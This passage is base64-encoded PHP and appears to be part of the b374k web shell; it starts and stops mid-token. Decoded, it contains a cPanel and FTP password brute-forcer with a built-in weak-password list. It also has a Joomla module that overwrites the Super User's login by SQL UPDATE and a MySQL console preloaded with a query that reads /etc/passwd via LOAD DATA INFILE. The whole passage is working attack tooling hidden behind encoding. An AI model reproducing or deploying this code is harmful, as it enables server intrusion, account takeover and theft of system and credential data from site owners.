NoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkge3ByaW50ICI8Yj5Db25uZWN0aW9uIFRpbWVkIG91dDwvYj4iO2V4aXQ7fQ0KZWxzZWlmICggY3VybF9lcnJubygkY2gpID09IDAgKXsNCnByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+WytdVXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO31pZihpc3NldCgkc3VibWl0KSAmJiAhZW1wdHkoJHN1Ym1pdCkpew0KaWYoZW1wdHkoJHVzZXJzKSAmJiBlbXB0eSgkcGFzcykpe3ByaW50ICI8cD48Yj5FcnJvciA6IENoZWNrIFRoZSBVc2VycyBhbmQgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O30NCmlmKGVtcHR5KCR1c2Vycykpe3ByaW50ICI8cD48Yj5FcnJvciA6Q2hlY2sgVGhlIFVzZXJzIExpc3Q8L2I+PC9wPiI7ZXhpdDt9aWYoZW1wdHkoJHBhc3MpICl7cHJpbnQgIjxwPjxiPkVycm9yIDpDaGVjayBUaGUgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O307DQokdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2Vycyk7JHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7cHJpbnQgIjxiPlt+XSBXYWl0IC4uLjwvYj48YnI+PGJyPiI7Zm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7JHB1cmV1c2VyID0gdHJpbSgkdXNlcik7Zm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHskcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7aWYoJGNyYWNrdHlwZSA9PSAiZnRwIil7ZnRwX2NoZWNrKCR0YXJnZXQsJHB1cmV1c2VyLCRwdXJlcGFzcywkY29ubmVjdF90aW1lb3V0KTt9aWYgKCRjcmFja3R5cGUgPT0gImNwYW5lbCIpe2NwYW5lbF9jaGVjaygkdGFyZ2V0LCRwdXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7fX19fSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQplY2hvICI8Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnPjx0cj48dGQ+PGJyPjxwIGFsaWduPSdjZW50ZXInPjxiPjxzcGFuIGxhbmc9J2VuLXVzJz5JUDwvc3Bhbj4gOjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0kdGFyZ2V0PjwvYj48L3A+PGRpdiBhbGlnbj0nY2VudGVyJz48cCBhbGlnbj0nY2VudGVyJz51c2Vyczx0ZXh0YXJlYSBjbGFzcz0naW5wdXR6JyBjb2xzPTIwIHJvd3M9MjAgbmFtZT0ndXNlcnMnPiI7DQpzeXN0ZW0oJ2xzIC92YXIvbWFpbCcpOw0KZWNobyAiPC90ZXh0YXJlYT5wYXNzd29yZHM8dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgY29scz0yMCByb3dzPTIwIG5hbWU9J3Bhc3N3b3Jkcyc+MTIzMTIzXG4xMjM0NTZcbjEyMzQ1NjdcbjEyMzQ1Njc4XG4xMjM0NTY3ODlcbjE1OTE1OVxuMTEyMjMzXG5hZG1pblxuMzMyMjExXG4xNDc4OTYzXG5wYXNzd29yZFxucGFzc3dkXG4xNTkzNTdcbjM1Nzk1MVxuMTE0NDc3XG5wYXNzXG5QYXNzd29yZDwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgbmFtZT0nY3JhY2t0eXBlJyB2YWx1ZT0nY3BhbmVsJyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L3NwYW4+PGI+Q3BhbmVsKDIwODIpPC9iPjxpbnB1dCBuYW1lPSdjcmFja3R5cGUnIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPjwvZm9udD48L2ZvbnQ+PGZvbnQgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBzaXplPScyJyBmYWNlPSdUYWhvbWEnPjxzcGFuIHN0eWxlPSdmb250LXdlaWdodDogNzAwOyc+RnRwICgyMSk8L3NwYW4+PC9wPjxicj48Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTdGFydCBDcmFja2luZycgbmFtZT0nc3VibWl0Jz48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPiI7ZGllKCk7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqb29tbGEnKSl7aWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpe2VjaG8gIjxicj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+PGJyPjxicj48YnI+REJfUHJlZml4IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nam9zXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDtob3N0IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwO2RhdGFiYXNlIDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGF0YWJhc2UnIG5hbWU9J2RhdGFiYXNlJyB0eXBlPSd0ZXh0Jz4mbmJzcDt1c2VybmFtZSA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3VzZXInIG5hbWU9J3VzZXJuYW1lJyB0eXBlPSd0ZXh0Jz4mbmJzcDtwYXNzd29yZCA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz48YnI+Jm5ic3A7Jm5ic3A7PGJyPk5ldyBVc2VybmFtZTombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBQYXNzd29yZDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj48YnI+Jm5ic3A7Jm5ic3A7PElOUFVUIHZhbHVlPSdjaGFuZ2UnIGNsYXNzPSdpbnB1dHpidXQnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2UgeyRwcmVmaXggPSAkX1BPU1RbJ3ByZWZpeCddOyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lICA9ICRfUE9TVFsndXNlcm5hbWUnXTskcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29yZCddOyRhZG1pbiA9ICRfUE9TVFsnYWRtaW4nXTskcGQgPSAoJF9QT1NUWyJwd2QiXSk7JHB3ZCA9IG1kNSgkcGQpO0BteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllIChteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lID0nIi4kYWRtaW4uIicgV0hFUkUgbmFtZSA9ICdTdXBlciBVc2VyJyBvciBuYW1lID0gJ1N1cGVyIFV0aWxpc2F0ZXVyJyBvciBpZD0nNjInIikgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIG5hbWUgPSAnU3VwZXIgVXNlcicgb3IgbmFtZSA9ICdTdXBlciBVdGlsaXNhdGV1cicgb3IgaWQ9JzYyJyIpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7aWYoJFNRTCkgZWNobyAiPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lLi4uIGdvIGFuZCBsb2dpbjwvaDE+PC9jZW50ZXI+Ijt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdteXNxbCcpKXtpZihpc3NldCgkX0dFVFsnc3FsaG9zdCddKSAmJiBpc3NldCgkX0dFVFsnc3FsdXNlciddKSAmJiBpc3NldCgkX0dFVFsnc3FscGFzcyddKSAmJiBpc3NldCgkX0dFVFsnc3FscG9ydCddKSl7JHNxbGhvc3QgPSAkX0dFVFsnc3FsaG9zdCddOyRzcWx1c2VyID0gJF9HRVRbJ3NxbHVzZXInXTskc3FscGFzcyA9ICRfR0VUWydzcWxwYXNzJ107JHNxbHBvcnQgPSAkX0dFVFsnc3FscG9ydCddO2lmKCRjb24gPSBAbXlzcWxfY29ubmVjdCgkc3FsaG9zdC4iOiIuJHNxbHBvcnQsJHNxbHVzZXIsJHNxbHBhc3MpKXskbXNnIC49ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzo0cHggMTBweCAwIDEwcHg7Jz4iOyRtc2cgLj0gIjxwPkNvbm5lY3RlZCB0byAiLiRzcWx1c2VyLiI8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4iLiRzcWxob3N0LiI6Ii4kc3FscG9ydDskbXNnIC49ICImbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nZ2F5YSc+LSZndDs8L3NwYW4+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3g9bXlzcWwmYW1wO3NxbGhvc3Q9Ii4kc3FsaG9zdC4iJmFtcDtzcWx1c2VyPSIuJHNxbHVzZXIuIiZhbXA7c3FscGFzcz0iLiRzcWxwYXNzLiImYW1wO3NxbHBvcnQ9Ii4kc3FscG9ydC4iJmFtcDsnPlsgZGF0YWJhc2VzIF08L2E+IjsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJz4iLmh0bWxzcGVjaWFsY2hhcnMoJF9HRVRbJ2RiJ10pLiI8L2E+IjsNCmlmKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJmFtcDt0YWJsZT0iLiRfR0VUWyd0YWJsZSddLiInPiIuaHRtbHNwZWNpYWxjaGFycygkX0dFVFsndGFibGUnXSkuIjwvYT4iOyRtc2cgLj0gIjwvcD48cD52ZXJzaW9uIDogIi5teXNxbF9nZXRfc2VydmVyX2luZm8oJGNvbikuIiBwcm90byAiLm15c3FsX2dldF9wcm90b19pbmZvKCRjb24pLiI8L3A+IjskbXNnIC49ICI8L2Rpdj4iO2VjaG8gJG1zZzsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSAmJiAoIWlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJiYgKCFpc3NldCgkX0dFVFsnc3FscXVlcnknXSkpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYjM3NGtfdGFibGU7XG5DUkVBVEUgVEFCTEUgYGIzNzRrX3RhYmxlYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApO1xuTE9BRCBEQVRBIElORklMRSAnL2V0Yy9wYXNzd2QnXG5JTlRPIFRBQkxFIGIzNzRrX3RhYmxlO1NFTEVDVCAqIEZST00gYjM3NGtfdGFibGU7XG5EUk9QIFRBQkxFIElGIEVYSVNUUyBiMzc0a190YWJsZTsiOyRtc2cgPSAiPGRpdiBzdHlsZT0nd2lkdGg6OTklO3BhZGRpbmc6MCAxMHB4Oyc+PGZvcm0gYWN0aW9uPSc/JyBtZXRob2Q9J2dldCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+JHF1ZXJ5PC90ZXh0YXJlYT48L3A+IDxwPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyBzdHlsZT0nd2lkdGg6ODBweDsnIG5hbWU9J3N1Ym1pdHF1ZXJ5JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHbyAhJyAvPjwvcD4gPC9mb3JtPjwvZGl2PiAiOyR0YWJsZXMgPSBhcnJheSgpOyRtc2cgLj0gIjx0YWJsZSBjbGFzcz0nZXhwbG9yZScgc3R5bGU9J3dpZHRoOjk5JTsnPjx0cj48dGg+YXZhaWxhYmxlIHRhYmxlcyBvbiAiLiRkYi4iPC90aD48L3RyPiI7JGhhc2lsID0gQG15c3FsX2xpc3RfdGFibGVzKCRkYiwkY29uKTsNCndoaWxlKGxpc3QoJHRhYmxlKSA9IEBteXNxbF9mZXRjaF9yb3coJGhhc2lsKSl7QGFycmF5X3B1c2goJHRhYmxlcywkdGFibGUpO30gQHNvcnQoJHRhYmxlcyk7DQpmb3JlYWNoKCR0YWJsZXMgYXMgJHRhYmxlKXskbXNnIC49ICI8dHI+PHRkPjxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kZGIuIiZhbXA7dGFibGU9Ii4kdGFibGUuIic+JHRhYmxlPC9hPjwvdGQ+PC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3RhYmxlJ10pICYmICghaXNzZXQoJF9HRVRbJ3NxbHF1ZXJ5J10pKSl7DQokZGIgPSAkX0dFVFsnZGInXTskdGFibGUgPSAkX0dFVFsndGFibGUnXTskcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgMCwxMDA7IjsNCiRtc2dxID0gIjxkaXYgc3R5bGU9J3dpZHRoOjk5JTtwYWRkaW5nOjAgMTBweDsnPjxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IDxwPjx0ZXh0YXJlYSBuYW1lPSdzcWxxdWVyeScgY2xhc3M9J291dHB1dCcgc3R5bGU9J3dpZHRoOjk4JTtoZWlnaHQ6ODBweDsnPiIuJHF1ZXJ5LiI8L3RleHRhcmVhPjwvcD4gPHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPiA8L2Zvcm0+PC9kaXY+ICI7DQokY29sdW1ucyA9IGFycmF5KCk7JG1zZyA9ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz4iOyRoYXNpbCA9IEBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSAiLiRkYi4iLiIuJHRhYmxlKTt3aGlsZShsaXN0KCRjb2x1bW4pID0gQG15c3FsX2ZldGNoX3JvdygkaGFzaWwpKXsNCiRtc2cgLj0gIjx0aD4kY29sdW1uPC90aD4iOyRrb2x1bSA9ICRjb2x1bW47fSRtc2cgLj0gIjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfcXVlcnkoIlNFTEVDVCBjb3VudCgqKSBGUk9NICIuJGRiLiIuIi4kdGFibGUpOw0KbGlzdCgkdG90YWwpID0gbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCk7DQppZihpc3NldCgkX0dFVFsneiddKSkgJHBhZ2UgPSAoaW50KSAkX0dFVFsneiddOw0KZWxzZSAkcGFnZSA9IDE7JHBhZ2VudW0gPSAxMDA7JHRvdHBhZ2UgPSBjZWlsKCR0b3RhbCAvICRwYWdlbnVtKTskc3RhcnQgPSAoKCRwYWdlIC0gMSkgKiAkcGFnZW51bSk7JGhhc2lsID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJHBhZ2VudW0pOw0Kd2hpbGUoJGRhdGFzID0gQG15c3FsX2ZldGNoX2Fzc29jKCRoYXNpbCkpeyRtc2cgLj0gIjx0cj4iO2ZvcmVhY2goJGRhdGFzIGFzICRkYXRhKXtpZih0cmltKCRkYXRhKSA9PSAiIikgDQokZGF0YSA9ICImbmJzcDsiOyRtc2cgLj0gIjx0ZD4kZGF0YTwvdGQ+Ijt9JG1zZyAuPSAiPC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iOyRoZWFkID0gIjxkaXYgc3R5bGU9J3BhZGRpbmc6MTBweCAwIDAgNnB4Oyc+IDxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IFBhZ2UgPHNlbGVjdCBjbGFzcz0naW5wdXR6JyBuYW1lPSd6JyBvbmNoYW5nZT0ndGhpcy5mb3JtLnN1Ym1pdCgpOyc+IjsNCmZvcigkaSA9IDE7JGkgPD0gJHRvdHBhZ2U7JGkrKyl7JGhlYWQgLj0gIjxvcHRpb24gdmFsdWU9JyIuJGkuIic+Ii4kaS4iPC9vcHRpb24+IjsNCmlmKCRpID09ICRfR0VUWyd6J10pICRoZWFkIC49ICI8b3B0aW9uIHZhbHVlPSciLiRpLiInIHNlbGVjdGVkPSdzZWxlY3RlZCc+Ii4kaS4iPC9vcHRpb24+Ijt9ICRoZWFkIC49ICI8L3NlbGVjdD48bm9zY3JpcHQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9ub3NjcmlwdD48L2Zvcm0+PC9kaXY+IjskbXNnID0gJG1zZ3EuJGhlYWQuJG1zZzt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWydzdWJtaXRxdWVyeSddKSAmJiAoJF9HRVRbJ3NxbHF1ZXJ5J10gIT0gIiIpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSBtYWdpY2Jvb20oJF9HRVRbJ3NxbHF1ZXJ5J10pOw0KJG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+Ii4kcXVlcnkuIjwvdGV4dGFyZWE+PC9wPiA8cD48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgc3R5bGU9J3dpZHRoOjgwcHg7JyBuYW1lPSdzdWJtaXRxdWVyeScgdHlwZT0nc3VibWl0JyB2YWx1ZT0nR28gIScgLz48L3A+IDwvZm9ybT48L2Rpdj4gIjsNCkBteXNxbF9zZWxlY3RfZGIoJGRiKTskcXVlcnlzID0gZXhwbG9kZSgiOyIsJHF1ZXJ5KTsNCmZvcmVhY2goJHF1ZXJ5cyBhcyAkcXVlcnkpe2lmKHRyaW0oJHF1ZXJ5KSAhPSAiIil7JGhhc2lsID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmKCRoYXNpbCl7JG1zZyAuPSAiPHAgc3R5bGU9J3BhZGRpbmc6MDttYXJnaW46MjBweCA2cHggMCA2cHg7Jz4iLiRxdWVyeS4iOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdnYXlhJz5bPC9zcGFuPiBvayA8c3BhbiBjbGFzcz0nZ2F5YSc+XTwvc3Bhbj48L3A+IjskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+IjsNCmZvcigkaT0wOyRpPEBteXNxbF9udW1fZmllbGRzKCRoYXNpbCk7JGkrKykgDQokbXNnIC49ICI8dGg+Ii5odG1sc3BlY2lhbGNoYXJzKEBteXNxbF9maWVsZF9uYW1lKCRoYXNpbCwkaSkpLiI8L3RoPiI7JG1zZyAuPSAiPC90cj4iOw0KZm9yKCRpPTA7JGk8QG15c3FsX251bV9yb3dzKCRoYXNpbCk7JGkrKykgDQp7JHJvd3M9QG15c3FsX2ZldGNoX2FycmF5KCRoYXNpbCk7JG1zZyAuPSAiPHRyPiI7DQpmb3IoJGo9MDskajxAbXlzcWxfbnVtX2ZpZWxkcygkaGFzaWwpOyRqKyspIHsNCmlmKCRyb3dzWyRqXSA9PSAiIikgJGRhdGF6ID0gIiZuYnNwOyI7DQplbHNlICRkYXRheiA9ICRyb3dzWyRqXTskbXNnIC49ICI8dGQ+Ii4kZGF0YXouIjwvdGQ+Ijt9ICRtc2cgLj0gIjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KZWxzZSAkbXNnIC49ICI8cCBzdHlsZT0ncGFkZGluZzowO21hcmdpbjoyMHB4IDZweCAwIDZweDsnPiIuJHF1ZXJ5LiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPls8L3NwYW4+IGVycm9yIDxzcGFuIGNsYXNzPSdnYXlhJz5dPC9zcGFuPjwvcD4iO30gfSB9IA0KZWxzZSB7JHF1ZXJ5ID0gIlNIT1cgUFJPQ0VTU0xJU1Q7XG5TSE9XIFZBUklBQkxFUztcblNIT1cgU1RBVFVTOyI7JG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxob3N0JyB2YWx1ZT0nIi4kc3FsaG9zdC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxwYXNzJyB2YWx1ZT0nIi4kc3FscGFzcy4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz48cD48dGV4dGFyZWEgbmFtZT0nc3FscXVlcnknIGNsYXNzPSdvdXRwdXQnIHN0eWxlPSd3aWR0aDo5OCU7aGVpZ2h0OjgwcHg7Jz4iLiRxdWVyeS4iPC90ZXh0YXJlYT48L3A+PHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEn